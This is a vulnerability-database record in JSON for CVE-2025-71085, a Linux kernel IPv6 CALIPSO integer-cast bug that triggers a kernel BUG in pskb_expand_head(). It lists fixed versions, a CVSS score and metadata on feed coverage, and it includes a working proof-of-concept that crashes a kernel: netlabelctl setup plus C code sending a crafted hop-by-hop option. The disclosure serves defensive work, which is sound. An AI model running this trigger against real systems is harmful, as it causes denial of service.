{"id":"CVE-2025-71085","revision":null,"records":[{"revision":"96c58965b12945ca864332bc272cb464","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2025-71085","aliases":[],"title":"ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()","description":"In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()\n\nThere exists a kernel oops caused by a BUG_ON(nhead < 0) at\nnet/core/skbuff.c:2232 in pskb_expand_head().\nThis bug is triggered as part of the calipso_skbuff_setattr()\nroutine when skb_cow() is passed headroom > INT_MAX\n(i.e. (int)(skb_headroom(skb) + len_delta) < 0).\n\nThe root cause of the bug is due to an implicit integer cast in\n__skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure\nthat delta = headroom - skb_headroom(skb) is never negative, otherwise\nwe will trigger a BUG_ON in pskb_expand_head(). However, if\nheadroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta\nbecomes negative, and pskb_expand_head() is passed a negative value for\nnhead.\n\nFix the trigger condition in calipso_skbuff_setattr(). Avoid passing\n\"negative\" headroom sizes to skb_cow() within calipso_skbuff_setattr()\nby only using skb_cow() to grow headroom.\n\nPoC:\n\tUsing `netlabelctl` tool:\n\n        netlabelctl map del default\n        netlabelctl calipso add pass doi:7\n        netlabelctl map add default address:0::1/128 protocol:calipso,7\n\n        Then run the following PoC:\n\n        int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);\n\n        // setup msghdr\n        int cmsg_size = 2;\n        int cmsg_len = 0x60;\n        struct msghdr msg;\n        struct sockaddr_in6 dest_addr;\n        struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,\n                        sizeof(struct cmsghdr) + cmsg_len);\n        msg.msg_name = &dest_addr;\n        msg.msg_namelen = sizeof(dest_addr);\n        msg.msg_iov = NULL;\n        msg.msg_iovlen = 0;\n        msg.msg_control = cmsg;\n        msg.msg_controllen = cmsg_len;\n        msg.msg_flags = 0;\n\n        // setup sockaddr\n        dest_addr.sin6_family = AF_INET6;\n        dest_addr.sin6_port = htons(31337);\n        dest_addr.sin6_flowinfo = htonl(31337);\n        dest_addr.sin6_addr = in6addr_loopback;\n        dest_addr.sin6_scope_id = 31337;\n\n        // setup cmsghdr\n        cmsg->cmsg_len = cmsg_len;\n        cmsg->cmsg_level = IPPROTO_IPV6;\n        cmsg->cmsg_type = IPV6_HOPOPTS;\n        char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);\n        hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80\n\n        sendmsg(fd, &msg, 0);","state":0,"publishedAt":"2026-01-13T15:34:48.324+00:00","modifiedAt":"2026-10-19T18:15:11.736+00:00","affected":[{"ecosystem":"Vendor product","name":"Linux","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"product\": \"Linux\",\n                    \"vendor\": \"Linux\",\n                    \"defaultStatus\": \"unaffected\",\n                    \"repo\": \"https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git\",\n                    \"programFiles\": [\n                        \"net/ipv6/calipso.c\"\n                    ],\n                    \"versions\": [\n                        {\n                            \"version\": \"2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3\",\n                            \"lessThan\": \"86f365897068d09418488165a68b23cb5baa37f2\",\n                            \"status\": \"affected\",\n                            \"versionType\": \"git\"\n                        },\n                        {\n                            \"version\": \"2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3\",\n                            \"lessThan\": \"6b7522424529556c9cbc15e15e7bd4eeae310910\",\n                            \"status\": \"affected\",\n                            \"versionType\": \"git\"\n                        },\n                        {\n                            \"version\": \"2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3\",\n                            \"lessThan\": \"2bb759062efa188ea5d07242a43e5aa5464bbae1\",\n                            \"status\": \"affected\",\n                            \"versionType\": \"git\"\n                        },\n                        {\n                            \"version\": \"2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3\",\n                            \"lessThan\": \"c53aa6a5086f03f19564096ee084a202a8c738c0\",\n                            \"status\": \"affected\",\n                            \"versionType\": \"git\"\n                        },\n                        {\n                            \"version\": \"2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3\",\n                            \"lessThan\": \"bf3709738d8a8cc6fa275773170c5c29511a0b24\",\n                            \"status\": \"affected\",\n                            \"versionType\": \"git\"\n                        },\n                        {\n                            \"version\": \"2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3\",\n                            \"lessThan\": \"73744ad5696dce0e0f43872aba8de6a83d6ad570\",\n                            \"status\": \"affected\",\n                            \"versionType\": \"git\"\n                        },\n                        {\n                            \"version\": \"2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3\",\n                            \"lessThan\": \"58fc7342b529803d3c221101102fe913df7adb83\",\n                            \"status\": \"affected\",\n                            \"versionType\": \"git\"\n                        }\n                    ]\n                }"},{"ecosystem":"Vendor product","name":"Linux","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"product\": \"Linux\",\n                    \"vendor\": \"Linux\",\n                    \"defaultStatus\": \"affected\",\n                    \"repo\": \"https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git\",\n                    \"programFiles\": [\n                        \"net/ipv6/calipso.c\"\n                    ],\n                    \"versions\": [\n                        {\n                            \"version\": \"4.8\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \"0\",\n                            \"lessThan\": \"4.8\",\n                            \"status\": \"unaffected\",\n                            \"versionType\": \"semver\"\n                        },\n                        {\n                            \"version\": \"5.10.248\",\n                            \"lessThanOrEqual\": \"5.10.*\",\n                            \"status\": \"unaffected\",\n                            \"versionType\": \"semver\"\n                        },\n                        {\n                            \"version\": \"5.15.198\",\n                            \"lessThanOrEqual\": \"5.15.*\",\n                            \"status\": \"unaffected\",\n                            \"versionType\": \"semver\"\n                        },\n                        {\n                            \"version\": \"6.1.160\",\n                            \"lessThanOrEqual\": \"6.1.*\",\n                            \"status\": \"unaffected\",\n                            \"versionType\": \"semver\"\n                        },\n                        {\n                            \"version\": \"6.6.120\",\n                            \"lessThanOrEqual\": \"6.6.*\",\n                            \"status\": \"unaffected\",\n                            \"versionType\": \"semver\"\n                        },\n                        {\n                            \"version\": \"6.12.64\",\n                            \"lessThanOrEqual\": \"6.12.*\",\n                            \"status\": \"unaffected\",\n                            \"versionType\": \"semver\"\n                        },\n                        {\n                            \"version\": \"6.18.4\",\n                            \"lessThanOrEqual\": \"6.18.*\",\n                            \"status\": \"unaffected\",\n                            \"versionType\": \"semver\"\n                        },\n                        {\n                            \"version\": \"6.19\",\n                            \"lessThanOrEqual\": \"*\",\n                            \"status\": \"unaffected\",\n                            \"versionType\": \"original_commit_for_fix\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"}],"references":["https://git.kernel.org/stable/c/86f365897068d09418488165a68b23cb5baa37f2","https://git.kernel.org/stable/c/6b7522424529556c9cbc15e15e7bd4eeae310910","https://git.kernel.org/stable/c/2bb759062efa188ea5d07242a43e5aa5464bbae1","https://git.kernel.org/stable/c/c53aa6a5086f03f19564096ee084a202a8c738c0","https://git.kernel.org/stable/c/bf3709738d8a8cc6fa275773170c5c29511a0b24","https://git.kernel.org/stable/c/73744ad5696dce0e0f43872aba8de6a83d6ad570","https://git.kernel.org/stable/c/58fc7342b529803d3c221101102fe913df7adb83"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2025-71085","license":"CVE Program Terms of Use","key":"cve-program:CVE-2025-71085","identifiers":["CVE-2025-71085"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. 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Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-fd9e659eac384b31b6b54c14a478a6b6","complete":true,"records":13654,"lastAttemptAt":"2026-11-08T22:02:46.9922536+00:00","lastSuccessAt":"2026-11-08T22:02:46.989+00:00","error":null,"lastVerifiedAt":"2026-11-08T22:02:46.989+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13706,"expectedIdentifiers":13706,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-08T22:02:16.0606753+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-08T22:02:16.0606753+00:00","lastSuccessAt":"2026-11-08T22:02:16.3005264+00:00","error":null,"lastVerifiedAt":"2026-11-08T22:02:16.3005266+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-d44f9ddfc3b944cf9f918f0296ab9362","complete":true,"records":13666,"lastAttemptAt":"2026-11-08T22:02:41.4763214+00:00","lastSuccessAt":"2026-11-08T22:02:41.472+00:00","error":null,"lastVerifiedAt":"2026-11-08T22:02:41.472+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13706,"expectedIdentifiers":13706,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-980593e6977a6d1b4fb1eed5a1ffe88a468736f89f0a06f710924ad59132c023","complete":true,"records":9914,"lastAttemptAt":"2026-11-08T22:02:15.9240904+00:00","lastSuccessAt":"2026-11-08T11:07:07.068788+00:00","error":null,"lastVerifiedAt":"2026-11-08T22:02:15.9240904+00:00","snapshotPublishedAt":"2026-11-08T11:02:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-08T22:02:15.7236649+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-08T22:02:15.7236649+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-964c14035e6f0f6478b2870fad6a7ef9f6045876d4a12af2c2e514521e54b6af","complete":true,"records":3055,"lastAttemptAt":"2026-11-08T22:02:16.0280445+00:00","lastSuccessAt":"2026-11-08T11:07:12.1927025+00:00","error":null,"lastVerifiedAt":"2026-11-08T22:02:16.0280445+00:00","snapshotPublishedAt":"2026-11-08T11:02:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-f8647d7ba64b1ba0dfdc7130944766d5b36d5b77d18fff0c79e651a4cff3c2b9","complete":true,"records":231293,"lastAttemptAt":"2026-11-08T22:02:15.8267172+00:00","lastSuccessAt":"2026-11-08T11:06:56.2918717+00:00","error":null,"lastVerifiedAt":"2026-11-08T22:02:15.8267172+00:00","snapshotPublishedAt":"2026-11-08T11:02:50+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}